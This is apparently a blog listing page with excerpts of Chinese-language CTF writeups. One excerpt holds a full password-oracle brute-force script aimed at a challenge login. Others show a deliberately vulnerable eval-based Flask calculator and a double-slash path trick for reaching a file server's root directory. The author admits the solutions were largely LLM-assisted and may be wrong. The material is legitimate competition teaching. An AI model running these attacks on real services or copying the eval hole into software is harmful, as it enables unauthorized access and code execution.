AIS3 EOF 2026 Qual writeup

前言 先排個雷,這次比賽的 writeup 很大比例是 LLM 協助完成的,包含題目分析、解題思路、程式碼撰寫等,多數題目都是,所以如果想看到 LLM 的極限可以參考這篇 writeup,但如果想看到純人力的解題過程可能不太適合 (X。 Score/Rankings welcome Welcome flag: EOF{2026-quals-in-2025} 加入 discord 然後在 announcement 頻道旁邊 misc MRTGuessor flag: EOF{catch_up_MRT_by_checking_the_timetable_in_advance} 只有三次機會,要猜以下圖片是台北捷運板南線的哪一站 仔細比對各站的天花板跟燈的相對方向最後猜滿三次,答案是忠孝新生 SaaS flag: EOF{TICTACTOE_TICKTOCTOU} 題目給了 example.c 和 seccomp-sandbox.c ,然後如題名所示是提供一個類似 SaaS 的 service,可以允許使用者上傳檔案,接下來會在一個有 seccomp rule 的 docker sandbox 裡面執行,那基本上就是要直接去讀 sandbox 裡面的 /flag 檔案,會被抓下來的部分如下 基本上 sandbox 使用 seccomp user notification 在 user-space 攔截並檢查相關的 syscall。 結論來說 open 系列被欄之後會去檢查 pathname,link 系列會去防止 link-based bypass,mount 會防 FS rebind,name_handle_at 防 inode handle bypass,那整體流程經過分析 seccomp-sandbox.c 會得知流程為 ...

2025-12-24 · 48 min · 10176 words · YJK

Nullcon Berlin HackIM 2025 CTF writeup

這次跟社團開了一場 CTF,以下是我解的題目的解法,有些是用 AI 解再回去補知識的,尤其是 Crypto,所以內容可能不一定正確 Web grandmas_notes 網站是一個簡單的登入系統,根據題目檔案觀察,應該只有一個使用者 admin,登入後可以看到 Grandma 留下的備忘錄。Flag 就藏在這個備忘錄。 問題出在 login.php 裡面裡面有說會回報正確的字元數,所以可以走 oracle 的方式去做比對然後破解,逐個字元爆破 1$_SESSION['flash'] = "Invalid password, but you got {$correct} characters correct!"; exploit.py 1import re 2import sys 3import time 4import random 5from typing import Optional 6import requests 7 8DEFAULT_BASE = "http://52.59.124.14:5015" 9CHARSET = ( 10 "abcdefghijklmnopqrstuvwxyz" 11 "0123456789" 12 "_-{}!@#$%^&*()=+[];:,.<>?/\\|`~" 13 "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 14 "'\"" 15) 16 17FLASH_RGX = re.compile(r"got\s+(\d+)\s+characters?\s+correct", re.IGNORECASE) 18 19def parse_flash_count(html: str) -> Optional[int]: 20 m = FLASH_RGX.search(html) 21 if not m: 22 return None 23 return int(m.group(1)) 24 25def attempt(s: requests.Session, base: str, username: str, pw: str) -> tuple[bool, Optional[int]]: 26 resp = s.post(f"{base}/login.php", data={"username": username, "password": pw}, allow_redirects=True, timeout=15) 27 if "Dashboard" in resp.text and "Logged in as" in resp.text: 28 return True, None 29 n = parse_flash_count(resp.text) 30 return False, n 31 32def recover_password(base: str, username: str = "admin", max_len: int = 32) -> str: 33 s = requests.Session() 34 prefix = "" 35 last_n = 0 36 print(f"[+] Target: {base} user={username}") 37 print("[+] Starting prefix oracle attack...") 38 for pos in range(max_len): 39 found = None 40 for c in CHARSET: 41 candidate = prefix + c 42 ok, n = attempt(s, base, username, candidate) 43 if ok: 44 print(f"[+] Logged in early with full password: {candidate}") 45 return candidate 46 if n is None: 47 time.sleep(0.2 + random.random() * 0.3) 48 ok2, n2 = attempt(s, base, username, candidate) 49 if ok2: 50 print(f"[+] Logged in early with full password: {candidate}") 51 return candidate 52 n = n2 53 if n is None: 54 print(f" [?] No flash parsed at pos={pos}, char={repr(c)} (continuing)") 55 continue 56 if n > last_n: 57 found = c 58 last_n = n 59 prefix = candidate 60 print(f"[{pos:02d}] ✓ Found next char: {repr(c)} -> prefix now: {prefix!r}") 61 break 62 if found is None: 63 print("[!] No candidate increased the match count.") 64 ok, _ = attempt(s, base, username, prefix) 65 if ok: 66 print(f"[+] Logged in with recovered password: {prefix}") 67 return prefix 68 else: 69 print("[!] Likely the next character is outside the current CHARSET.") 70 print(" Edit CHARSET in the script to include more characters (e.g., spaces or other unicode).") 71 break 72 time.sleep(0.05) 73 return prefix 74 75 76def fetch_flag(base: str, s: requests.Session) -> Optional[str]: 77 r = s.get(f"{base}/dashboard.php", timeout=15) 78 if r.status_code != 200: 79 print(f"[!] Dashboard fetch failed: HTTP {r.status_code}") 80 return None 81 m = re.search(r"<textarea[^>]*>(.*?)</textarea>", r.text, re.DOTALL | re.IGNORECASE) 82 if not m: 83 return None 84 note = m.group(1) 85 return note.strip() 86 87def main(): 88 base = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_BASE 89 username = "admin" 90 s = requests.Session() 91 recovered = recover_password(base, username=username, max_len=32) 92 ok, _ = attempt(s, base, username, recovered) 93 if not ok: 94 print(f"[!] Final login with recovered password failed. Password so far: {recovered!r}") 95 sys.exit(2) 96 print(f"[+] Logged in as {username}. Fetching note...") 97 note = fetch_flag(base, s) 98 if note is None: 99 print("[!] Could not find the note textarea.") 100 sys.exit(3) 101 print("\n=== NOTE ===") 102 print(note) 103 print("============") 104 print("[*] If the note contains the flag, you're done!") 105 106if __name__ == "__main__": 107 main() pwgen source code ...

2025-09-06 · 21 min · 4326 words · YJK

AIS3 Pre-exam 2025 writeup

author:YJK ID:YJK Misc Welcome flag: AIS3{Welcome_And_Enjoy_The_CTF_!} 免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag Ramen CTF flag: AIS3{樂山溫泉拉麵:蝦拉麵} 圖片右邊有一張發票條碼沒有被擋 掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店 google 之後發現地址是 宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號 此地址在 google map 上是 樂山溫泉拉麵 AIS3 Tiny Server - Web / Misc flag: AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe} 雖然題目敘述說建議 local 先解解看,但我直接開 instance, 點進去會發現是題目簡介網頁,並發現網址給了 index.html 另外題目有給小提示,專注在第一個提示就好 因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺 不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案 ...

2025-07-01 · 11 min · 2304 words · YJK

AIS3 mfctf & pre-exam 2024 writeup

Web Evil Calculator 網頁是一個簡單的計算機程式 透過攔截封包與 app.py 程式碼會發現他是將結果傳 POST 請求到 /calculate,並傳入 eval 做計算,所以可以傳入程式碼做解析,接下來看到 app.py 會發現傳送過去的 expression 空格跟底線都會被過濾,所以應該是不可以 import 其他東西,接下來看到 docker-compose.yml 可知 flag 在 /flag,因此直接透過開檔讀檔拿到 flag app.py 1from flask import Flask, request, jsonify, render_template 2 3app = Flask(__name__) 4 [email protected]('/calculate', methods=['POST']) 6def calculate(): 7 data = request.json 8 expression = data['expression'].replace(" ","").replace("_","") 9 try: 10 result = eval(expression) 11 except Exception as e: 12 result = str(e) 13 return jsonify(result=str(result)) 14 [email protected]('/') 16def index(): 17 return render_template('index.html') 18 19if __name__ == '__main__': 20 app.run("0.0.0.0",5001) docker-compose.yml ...

2024-07-01 · 5 min · 910 words · YJK